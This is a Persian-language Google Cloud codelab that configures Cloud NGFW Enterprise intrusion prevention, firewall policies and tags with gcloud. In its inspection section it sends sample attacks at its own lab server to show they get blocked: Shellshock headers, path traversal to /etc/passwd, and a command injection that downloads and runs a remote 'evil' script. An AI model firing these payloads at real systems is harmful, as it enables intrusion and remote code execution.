۱. مقدمه
فایروال نسل بعدی ابری (NGFW)
فایروال نسل بعدی ابری، یک سرویس فایروال کاملاً توزیعشده با قابلیتهای حفاظتی پیشرفته، تقسیمبندی خرد و پوشش فراگیر است که بارهای کاری گوگل کلود شما را از حملات داخلی و خارجی محافظت میکند.
فایروال نسل بعدی ابری (Cloud NGFW) مزایای زیر را دارد:
- سرویس فایروال توزیعشده: فایروال نسل بعدی ابری (Cloud NGFW) یک الزام مبتنی بر میزبان کاملاً توزیعشده و دارای وضعیت (stateful) را در هر بار کاری فراهم میکند تا معماری امنیتی بدون اعتماد (zero-trust) را فعال کند.
- پیکربندی و استقرار ساده: Cloud NGFW سیاستهای فایروال شبکه و سلسله مراتبی را پیادهسازی میکند که میتوانند به یک گره سلسله مراتب منابع متصل شوند. این سیاستها یک تجربه فایروال سازگار در سراسر سلسله مراتب منابع Google Cloud ارائه میدهند.
- کنترل جزئی و ریزبخشبندی: ترکیب سیاستهای فایروال و تگهای تحت مدیریت مدیریت هویت و دسترسی (IAM)، کنترل دقیقی را برای ترافیک شمال-جنوب و شرق-غرب، تا یک ماشین مجازی واحد، در سراسر شبکهها و سازمانهای ابر خصوصی مجازی (VPC) فراهم میکند.
فایروال نسل بعدی ابری (Cloud NGFW) در سطوح زیر موجود است:
فایروال نسل بعدی ابری (Cloud NGFW Enterprise)
Cloud NGFW Enterprise سرویس پیشگیری از نفوذ (IPS) ، یک قابلیت لایه ۷، را به ساختار توزیعشدهی Google Cloud Firewall اضافه میکند. بازرسی TLS برای امکان بازرسی ترافیک رمزگذاریشدهی TLS پشتیبانی میشود، اما خارج از محدودهی این آزمایشگاه کد است ( به آزمایشگاه کد Cloud NGFW Enterprise با بازرسی TLS مراجعه کنید).
اکنون میتوانید بازرسیهای قابل اعتماد لایه ۷ فایروال نسل بعدی (NGFW) را با کنترلهای جزئی و بدون ایجاد هیچ تغییری در معماری شبکه یا پیکربندیهای مسیریابی خود، پیادهسازی کنید.
برای فعالسازی و استقرار کنترل فایروال لایه ۷ با IPS، باید کارهای زیر را انجام دهید:
- مجموعهای از نقاط پایانی فایروال منطقهای مدیریتشده توسط گوگل کلود ایجاد کنید.
- به صورت اختیاری یک سیاست بازرسی TLS ایجاد کنید (در این آزمایشگاه کد پوشش داده نمیشود)
- به صورت اختیاری یک Trust Config ایجاد کنید (در این کد پوشش داده نشده است)
- این نقاط پایانی را با شبکههای ابر خصوصی مجازی (VPC) که در آنها به سرویس Cloud NGFW Enterprise نیاز دارید، مرتبط کنید.
- تغییرات سادهای در سیاستهای فایروال و قوانین فایروال موجود خود ایجاد کنید تا پروفایلهای پیشگیری از تهدید را برای مسیرهای مختلف ترافیک مشخص کنید.
سیاستهای فایروال شبکه
سیاست فایروال شبکه به عنوان ظرفی برای قوانین فایروال عمل میکند. قوانین تعریف شده در یک سیاست فایروال شبکه تا زمانی که این سیاست با یک شبکه VPC مرتبط نشود، در هیچ کجا اجرا نمیشوند. هر شبکه VPC میتواند یک سیاست فایروال شبکه مرتبط با خود داشته باشد. سیاستهای فایروال شبکه از برچسبهای (یا فقط برچسبها) تحت مدیریت IAM در قوانین فایروال پشتیبانی میکنند که جایگزین برچسبهای شبکه فعلی میشوند و میتوانند برای ارائه هویت به بار کاری مورد استفاده قرار گیرند.
اشتراکگذاری سیاست فایروال شبکه در سراسر شبکهها و ادغام با تگهای تحت مدیریت IAM، پیکربندی و مدیریت فایروالها را تا حد زیادی ساده میکند.
با معرفی سیاست فایروال شبکه، سیاستهای فایروال گوگل کلود اکنون از اجزای زیر تشکیل شده است:
- سیاست سلسله مراتبی فایروال
- قوانین فایروال VPC
- سیاست فایروال شبکه ( جهانی و منطقهای )
سیاستهای سلسله مراتبی فایروال در گرههای سازمان و پوشه در سلسله مراتب منابع پشتیبانی میشوند، در حالی که قوانین فایروال VPC و سیاستهای فایروال شبکه در سطح VPC اعمال میشوند. تفاوت بزرگ بین قوانین فایروال VPC و سیاستهای فایروال شبکه این است که قوانین فایروال VPC فقط میتوانند به یک شبکه VPC واحد اعمال شوند، در حالی که سیاستهای فایروال شبکه میتوانند به یک VPC واحد یا گروهی از VPCها متصل شوند، از جمله مزایای دیگر مانند بهروزرسانیهای دستهای.
در نهایت، ما همچنین قوانین ضمنی فایروال را داریم که با هر شبکه VPC همراه است:
- یک قانون خروج که اقدام آن allow و مقصد آن 0.0.0.0/0 است.
- یک قانون ورود که عمل آن deny و منبع آن 0.0.0.0/0 است.
به طور پیش فرض، توالی اجرای در نمودار زیر نشان داده شده است:

لطفاً توجه داشته باشید که دستور اجرایی بین قوانین فایروال VPC و سیاست فایروال شبکه جهانی قابل جابجایی است. مشتریان میتوانند دستور اجرایی را در هر زمان با یک دستور gcloud مشخص کنند.
برچسبهای تحت مدیریت IAM
تگهای جدیدی که در قوانین سیاست فایروال شبکه ادغام شدهاند، منابع جفت کلید-مقدار هستند که در سطح سازمان یا پروژه سلسله مراتب منابع Google Cloud تعریف شدهاند. چنین تگی، همانطور که از نامش پیداست، حاوی یک کنترل دسترسی IAM است که مشخص میکند چه کسی میتواند چه کاری را روی تگ انجام دهد. به عنوان مثال، مجوزهای IAM به فرد اجازه میدهد مشخص کند کدام مدیران میتوانند مقادیر را به تگها اختصاص دهند و کدام مدیران میتوانند تگها را به منابع متصل کنند. پس از اعمال یک تگ به یک منبع، قوانین فایروال شبکه میتوانند از آن برای اجازه دادن و رد کردن ترافیک استفاده کنند.
تگها از مدل ارثبری منابع گوگل کلود پیروی میکنند، به این معنی که تگها و مقادیر آنها از والدینشان در سلسله مراتب به ارث میرسند. در نتیجه، تگها ممکن است در یک مکان ایجاد شوند و سپس توسط پوشهها و پروژههای دیگر در سراسر سلسله مراتب منابع استفاده شوند. برای جزئیات بیشتر در مورد تگها و محدودیت دسترسی، به این صفحه مراجعه کنید.
برچسبها را نباید با برچسبهای شبکه اشتباه گرفت. دومی رشتههایی هستند که میتوانند به نمونههای Compute Engine اضافه شوند؛ آنها با نمونه مرتبط هستند و با از رده خارج شدن نمونه، ناپدید میشوند. قوانین فایروال VPC ممکن است شامل برچسبهای شبکه باشند، اما از آنجایی که آنها به عنوان منابع ابری در نظر گرفته نمیشوند، مشمول کنترل دسترسی IAM نمیشوند.
توجه داشته باشید که برچسبها و برچسبهای تحت مدیریت IAM در این سند به جای یکدیگر استفاده میشوند.
آنچه خواهید ساخت
این آزمایشگاه کد به یک پروژه واحد و توانایی ایجاد یک شبکه VPC با اتصال عمومی نیاز دارد و نشان میدهد که چگونه Cloud NGFW Enterprise میتواند عملکرد IPS را از طریق موارد زیر ارائه دهد:
- بررسی جریانهای درون VPC/زیرشبکه [شرق-غرب]
- بررسی جریانهای ورودی از اینترنت [شمال-جنوب]
جریانهایی که باید بررسی شوند با استفاده از پارامترهای تطبیق فایروال ابری شامل ۵ تایی (IP منبع، IP مقصد، پروتکل، پورت منبع، پورت مقصد) و برچسبها انتخاب میشوند. بازرسی TLS در این آزمایشگاه کد گنجانده نشده است.

پایگاه داده سیاست فایروال شبکه مشابه جدول زیر خواهد بود:
اولویت | جهت | هدف | منبع | مقصد | اکشن | نوع |
۱۰۰ | خروج | برچسب_قرنطینه | هر | هر | انکار | ملزومات |
۱۰۰۰ | ورود | برچسب_سرور | محدودههای بررسی سلامت | هر | اجازه دادن | ملزومات |
۲۰۰۰ | ورود | هر | محدودههای پروکسی آگاه از هویت | هر | اجازه دادن | ملزومات |
۳۰۰۰ | ورود | هر | جئو، GCTI | هر | انکار | استاندارد |
۴۰۰۰ | خروج | هر | هر | جئو، GCTI | انکار | استاندارد |
۵۰۰۰ | خروج | هر | هر | بهروزرسانی سیستم FQDNها | اجازه دادن | استاندارد |
۶۰۰۰ | ورود | برچسب_سرور | ۱۰.۰.۰.۰/۲۴ | هر | آی پی اس | تصدی |
۷۰۰۰ | ورود | برچسب_سرور | CloudNAT_IP | هر | آی پی اس | تصدی |
آنچه یاد خواهید گرفت
- نحوه ایجاد یک سیاست فایروال شبکه جهانی
- نحوه ایجاد و استفاده از برچسبها با سیاست فایروال شبکه
- نحوه پیکربندی و استفاده از سرویس پیشگیری از نفوذ سازمانی Cloud NGFW
آنچه نیاز دارید
- پروژه گوگل کلود
- آشنایی با پیادهسازی نمونهها و پیکربندی اجزای شبکه
- دانش پیکربندی فایروال VPC
۲. قبل از شروع
ایجاد/بهروزرسانی متغیرها
این آزمایشگاه کد از $variables برای کمک به پیادهسازی پیکربندی gcloud در Cloud Shell استفاده میکند.
در Cloud Shell، دستورات زیر را اجرا کنید و اطلاعات داخل پرانتز را در صورت نیاز جایگزین کنید (اگر پروژه مورد نظر از قبل تنظیم شده است، از تنظیم پروژه صرف نظر کنید). در صورت نیاز به چندین نقطه پایانی، مثلاً فایروال، از متغیر متفاوتی برای منابع سطح سازمان استفاده میشود.
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zone=[zone] export prefix=cloudngfw export org_prefix=cloudngfw export billing_project_id=[project-id]
۳. فعال کردن APIها
اگر APIها را فعال نکردهاید، آنها را فعال کنید:
gcloud services enable compute.googleapis.com gcloud services enable networksecurity.googleapis.com gcloud services enable certificatemanager.googleapis.com gcloud services enable networkservices.googleapis.com gcloud services enable privateca.googleapis.com
۴. پروفایل امنیتی سازمانی Cloud NGFW و ایجاد نقطه پایانی
از آنجایی که ایجاد Cloud NGFW Enterprise Endpoint حدود 20 دقیقه طول میکشد، ابتدا ایجاد میشود و راهاندازی پایه میتواند به صورت موازی در حین ایجاد Endpoint انجام شود.
ایجاد پروفایل امنیتی و گروه پروفایل امنیتی:
gcloud network-security security-profiles threat-prevention \ create $org_prefix-sp-threat \ --organization $org_id \ --location=global gcloud network-security security-profile-groups create \ $org_prefix-spg \ --organization $org_id \ --location=global \ --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat
خروجی مورد انتظار:
Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat] to be created...done. Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to com plete...done. Created security profile group [$org_prefix-spg].
تأیید کنید که منابع با موفقیت ایجاد شدهاند:
gcloud network-security security-profiles threat-prevention \ list --location=global --organization $org_id gcloud network-security security-profile-groups list \ --organization $org_id --location=global
خروجی مورد انتظار:
NAME: cloudngfw-sp-threat NAME: cloudngfw-spg
نقطه پایانی Cloud NGFW Enterprise را ایجاد کنید:
gcloud network-security firewall-endpoints create $org_prefix-$zone \ --zone=$zone --organization $org_id \ --billing-project $billing_project_id
برای تأیید اینکه نقطه پایانی در حال ایجاد است، دستور زیر را اجرا کنید (وضعیت: CREATING ).
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
خروجی مورد انتظار (توجه داشته باشید که فرمت خروجی ممکن است بسته به کلاینت مورد استفاده متفاوت باشد):
ID: cloudngfw-[zone] LOCATION: [zone] STATE: CREATING
در صورت تمایل، برای دریافت جزئیات بیشتر، دستور زیر را اجرا کنید:
gcloud network-security firewall-endpoints describe \ $org_prefix-$zone --organization $org_id --zone $zone
خروجی مورد انتظار:
createTime: '2023-04-25T18:08:45.493499362Z' name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] state: CREATING updateTime: '2023-04-25T18:08:45.493499362Z'
فرآیند ایجاد نقطه پایانی حدود 20 دقیقه طول میکشد. برای ایجاد منابع مورد نیاز به صورت موازی، به بخش تنظیمات پایه بروید.
۵. چیدمان پایه
اگر ترجیح میدهید منابع پایه را به صورت دستی ایجاد کنید، به بخشهای بعدی بروید.
شبکه و زیرشبکه VPC
شبکه و زیرشبکه VPC
شبکه و زیرشبکه VPC را ایجاد کنید:
gcloud compute networks create $prefix-vpc --subnet-mode=custom gcloud compute networks subnets create $prefix-$region-subnet \ --range=10.0.0.0/24 --network=$prefix-vpc --region=$region
NAT ابری
روترهای ابری و دروازههای Cloud NAT را ایجاد کنید:
gcloud compute addresses create $prefix-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)") gcloud compute routers create $prefix-cr \ --region=$region --network=$prefix-vpc gcloud compute routers nats create $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=$prefix-$region-cloudnatip
موارد
نمونههای کلاینت و وب-سرور را ایجاد کنید:
gcloud compute instances create $prefix-$zone-www \
--subnet=$prefix-$region-subnet --no-address --zone $zone \
--metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'
gcloud compute instances create $prefix-$zone-client \
--subnet=$prefix-$region-subnet --no-address --zone $zone \
--scopes=compute-ro \
--metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2-utils iperf3 tcpdump -y'
برچسبهای سطح پروژه
در صورت نیاز، مجوزهای tagAdmin و/یا tagUser را به کاربر اختصاص دهید:
export user_id=$(gcloud auth list --format="value(account)") gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagUser
کلید و مقادیر Tag در سطح پروژه را ایجاد کنید:
gcloud resource-manager tags keys create $prefix-vpc-tags \ --parent projects/$project_id \ --purpose GCE_FIREWALL \ --purpose-data network=$project_id/$prefix-vpc gcloud resource-manager tags values create $prefix-vpc-client \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-server \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-quarantine \ --parent=$project_id/$prefix-vpc-tags
اتصال تگها به نمونهها:
gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client
سیاست جهانی فایروال شبکه
ایجاد سیاست فایروال شبکه جهانی:
gcloud compute network-firewall-policies create \ $prefix-fwpolicy --description \ "Cloud NGFW Enterprise" --global
ایجاد فایروال ابری قوانین ضروری برای رد ترافیک از نمونههای قرنطینهشده (فقط به عنوان مثال ایجاد شدهاند و در این آزمایشگاه کد استفاده نمیشوند) و اجازه دادن به ترافیک از محدودههای پروکسی بررسی سلامت و آگاه از هویت :
gcloud compute network-firewall-policies rules create 100 \
--description="block quarantined workloads" \
--action=deny \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=all \
--direction=EGRESS \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine \
--dest-ip-ranges=0.0.0.0/0
gcloud compute network-firewall-policies rules create 1000 \
--description="allow http traffic from health-checks ranges" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:80,tcp:443 \
--direction=INGRESS \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22
gcloud compute network-firewall-policies rules create 2000 \
--description="allow ssh traffic from identity-aware-proxy ranges" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:22 \
--direction=INGRESS \
--src-ip-ranges=35.235.240.0/20
قوانین استاندارد فایروال ابری را برای جلوگیری از ورود و خروج ترافیک از/به کشورهای تحریمشده، IPهای مخرب شناختهشده و گرههای خروج ToR ایجاد کنید؛ و فقط اجازه خروج ترافیک به FQDNهای خاص را برای بهروزرسانیهای سیستم بدهید (فقط به عنوان مثال ایجاد شده و در این آزمایشگاه کد استفاده نمیشود):
gcloud compute network-firewall-policies rules create 3000 \
--description="block ingress traffic from sanctioned countries, known malicious IPs and ToR exit nodes" \
--action=deny \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=all \
--direction=INGRESS \
--src-region-codes CU,IR,KP,SY,XC,XD \
--src-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips
gcloud compute network-firewall-policies rules create 4000 \
--description="block egress traffic to sanctioned countries, known malicious IPs and ToR exit nodes" \
--action=deny \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=all \
--direction=EGRESS \
--dest-region-codes CU,IR,KP,SY,XC,XD \
--dest-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips
gcloud compute network-firewall-policies rules create 5000 \
--description "allow system updates" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:80,tcp:443 \
--direction=EGRESS \
--dest-fqdns=ftp.us.debian.org,debian.map.fastly.net,packages.cloud.google.com,www3.l.google.com
قوانین فایروال ابری را ایجاد کنید تا اجازه ورود ترافیک شرق-غرب / درون زیرشبکه و شمال-جنوب / اینترنت از محدودههای خاص را بدهد (این قوانین برای فعال کردن Cloud NGFW Enterprise بهروزرسانی خواهند شد):
gcloud compute network-firewall-policies rules create 6000 \
--description "allow ingress internal traffic from clients" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--direction=INGRESS \
--enable-logging \
--layer4-configs all \
--src-ip-ranges=10.0.0.0/24 \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server
gcloud compute network-firewall-policies rules create 7000 \
--description "allow ingress external traffic to server" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:80,tcp:443 \
--direction=INGRESS \
--enable-logging \
--src-ip-ranges=$cloudnatip \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server
سیاست فایروال شبکه را به شبکه VPC مرتبط کنید:
gcloud compute network-firewall-policies associations create \
--firewall-policy $prefix-fwpolicy \
--network $prefix-vpc \
--name $prefix-fwpolicy-association \
--global-firewall-policy
متعادلکننده بار شبکه TCP/UDP خارجی
یک آدرس IP خارجی رزرو کنید و گروه نمونه را ایجاد کنید و سلامت آن را بررسی کنید:
gcloud compute addresses create $prefix-$region-nlbip --region=$region
gcloud compute instance-groups unmanaged create $prefix-ig \
--zone $zone
gcloud compute instance-groups unmanaged add-instances $prefix-ig \
--instances $prefix-$zone-www --zone $zone
gcloud compute health-checks create http $prefix-$region-hc-http80 \
--region $region --port 80
ایجاد سرویس backend و قانون forwarding:
gcloud compute backend-services create $prefix-nlb-bes \
--protocol TCP \
--health-checks $prefix-$region-hc-http80 \
--health-checks-region $region \
--region $region
gcloud compute backend-services add-backend $prefix-nlb-bes \
--instance-group $prefix-ig \
--instance-group-zone $zone \
--region $region
gcloud compute forwarding-rules create $prefix-nlb-ipv4 \
--load-balancing-scheme EXTERNAL \
--region $region \
--ports 80 \
--address $prefix-$region-nlbip \
--backend-service $prefix-nlb-bes
۶. انجمن نقطه پایانی سازمانی Cloud NGFW
در صورت نیاز، متغیرهای محیطی را دوباره تعریف کنید.
تأیید کنید که ایجاد Cloud Firewall Endpoint با موفقیت انجام شده است. فقط زمانی ادامه دهید که وضعیت به صورت ACTIVE نشان داده شود (در طول ایجاد، وضعیت مورد انتظار CREATING است):
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
خروجی مورد انتظار (توجه داشته باشید که فرمت خروجی ممکن است بسته به کلاینت مورد استفاده متفاوت باشد):
ID: cloudngfw-[zone] LOCATION: [zone] STATE: ACTIVE
در صورت تمایل، برای دریافت جزئیات بیشتر، دستور زیر را اجرا کنید:
gcloud network-security firewall-endpoints describe \ $org_prefix-$zone --organization $org_id --zone $zone
خروجی مورد انتظار:
createTime: '2023-04-25T18:08:45.493499362Z' name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] state: ACTIVE updateTime: '2023-04-25T18:29:40.840608100Z'
نقطه پایانی Cloud NGFW Enterprise را به شبکه VPC مرتبط کنید:
gcloud network-security firewall-endpoint-associations create \ $prefix-association --zone $zone \ --network=$prefix-vpc --endpoint $org_prefix-$zone \ --organization $org_id
فرآیند ارتباط حدود ۱۰ دقیقه طول میکشد. فقط زمانی ادامه دهید که وضعیت به صورت ACTIVE (فعال) نشان داده شود (وضعیت مورد انتظار در طول فرآیند ایجاد، در حال ایجاد است):
gcloud network-security firewall-endpoint-associations list
خروجی مورد انتظار:
ID: cloudngfw-association LOCATION: [zone] NETWORK: cloudngfw-vpc ENDPOINT: cloudngfw-[zone] STATE: ACTIVE
در صورت تمایل، برای دریافت جزئیات بیشتر، دستور زیر را اجرا کنید:
gcloud network-security firewall-endpoint-associations \ describe $prefix-association --zone $zone
خروجی مورد انتظار:
createTime: '2023-05-01T22:25:06.218544436Z' firewallEndpoint: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] name: projects/[project-id]/locations/[zone]/firewallEndpointAssociations/cloudngfw-association network: projects/[project-id]/global/networks/cloudngfw-vpc state: ACTIVE updateTime: '2023-05-01T22:33:06.467596536Z'
۷. قوانین بازرسی سازمانی فایروال نسل بعدی ابری (Cloud NGFW)
یک تب جدید باز کنید و از طریق IAP یک اتصال SSH به ماشین مجازی کلاینت برقرار کنید (باید متغیرها را دوباره در تب جدید تعریف کنید):
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
متغیرهای مورد نیاز را در جلسه SSH تعریف کنید و متغیرها را تنظیم کنید (مطمئن شوید که مقادیر صحیح هستند):
export region=[region] export zone=[zone] export prefix=cloudngfw export target_privateip=$(gcloud compute instances list --filter=name:$prefix-$zone-www --format="value(networkInterfaces.networkIP)") export target_nlbip=$(gcloud compute addresses list --filter=name:$prefix-$region-nlbip --format="value(address)")
هر دو IP را curl کنید تا تأیید شود که قابل دسترسی هستند:
curl $target_privateip --max-time 2 curl $target_nlbip --max-time 2
نتیجه مورد انتظار برای هر دو درخواست curl:
Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]
حملات نمونه را به IP سرور داخلی (ترافیک شرق-غرب / درون VPC) ارسال کنید. وب سرور باید به تمام درخواستها پاسخ دهد و تأیید کند که هیچ بازرسی/پیشگیری L7 در محل وجود ندارد:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3
curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3
curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3
curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
حملات نمونه را از طریق Cloud NAT (ترافیک ورودی شمال-جنوب) به IP سرور خارجی ارسال کنید و به همین ترتیب سرور وب باید به همه درخواستها پاسخ دهد:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3
curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3
curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3
curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
نتایج مورد انتظار برای هر دو IP عمومی و خصوصی:
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address> </body></html> <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address> </body></html> Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone] <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>400 Bad Request</title> </head><body> <h1>Bad Request</h1> <p>Your browser sent a request that this server could not understand.<br /> </p> <hr> <address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address> </body></html>
به Cloud Shell برگردید و قوانین ورودی موجود را بهروزرسانی کنید تا بازرسی L7 فعال شود:
gcloud compute network-firewall-policies rules update 6000 \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --enable-logging \ --global-firewall-policy \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg gcloud compute network-firewall-policies rules update 7000 \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --enable-logging \ --global-firewall-policy \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg
در صورت تمایل، قوانین فایروال را برای تأیید بهروزرسانی موفقیتآمیز هر دو شرح دهید:
gcloud compute network-firewall-policies rules describe 6000 \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy
خروجی مورد انتظار:
--- action: apply_security_profile_group description: allow ingress internal traffic from tagged clients direction: INGRESS disabled: false enableLogging: true kind: compute#firewallPolicyRule match: layer4Configs: - ipProtocol: all srcIpRanges: - 10.0.0.0/24 priority: 800 ruleTupleCount: 4 securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg targetSecureTags: - name: tagValues/281484362719839 state: EFFECTIVE
قانون ۷۰۰۰:
gcloud compute network-firewall-policies rules describe 7000 \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy
خروجی مورد انتظار:
---
action: apply_security_profile_group
description: allow ingress external traffic to server
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
layer4Configs:
- ipProtocol: tcp
ports:
- '80'
- ipProtocol: tcp
ports:
- '443'
srcIpRanges:
- [cloudnat-ip]
priority: 900
ruleTupleCount: 6
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
state: EFFECTIVE
به ماشین مجازی کلاینت برگردید و حملات نمونه را دوباره به IP سرور داخلی ارسال کنید (بازرسی East-West / Intra-VPC):
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3
curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3
curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3
curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
حملات نمونه را از طریق Cloud NAT (بازرسی ورودی شمال-جنوب) به IP سرور خارجی دوباره ارسال کنید:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3
curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3
curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3
curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
طبق خروجی مورد انتظار زیر، هیچ پاسخی برای حملات اول دریافت نمیشود که تأیید میکند حملات با شدت بالا اکنون مسدود شدهاند.
curl: (56) Recv failure: Connection reset by peer curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>400 Bad Request</title> </head><body> <h1>Bad Request</h1> <p>Your browser sent a request that this server could not understand.<br /> </p> <hr> <address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address> </body></html>
برای تأیید گزارشها، به Network Security > Threats در Cloud Console بروید (اگر حملات هنوز نمایش داده نشدهاند، ممکن است لازم باشد چند بار آنها را بهروزرسانی کنید).

یکی از حملات را انتخاب کنید و روی «مشاهده گزارش حسابرسی» در سمت راست کلیک کنید (برای بازگشت آسان، آن را در یک برگه جدید باز کنید). حمله را گسترش دهید تا جزئیات آن نمایش داده شود:

به صورت اختیاری، فیلتر Log Explorer را با پرس و جوی زیر جایگزین کنید:
resource.type="networksecurity.googleapis.com/FirewallEndpoint"
ورودیهای گزارش تهدید باید مطابق شکل زیر مشاهده شوند:

بستههای رهگیریشده توسط فایروال ابری را میتوان با استفاده از فیلتر Log Explorer زیر تأیید کرد (که برای عیبیابی مفید است):
jsonPayload.rule_details.action="APPLY_SECURITY_PROFILE_GROUP"

به بازرسی ترافیک اینترنت (اختیاری) ادامه دهید یا جلسه SSH را ببندید و برای مراحل پاکسازی به فصل بعدی بروید.
[اختیاری] بازرسی ترافیک اینترنت
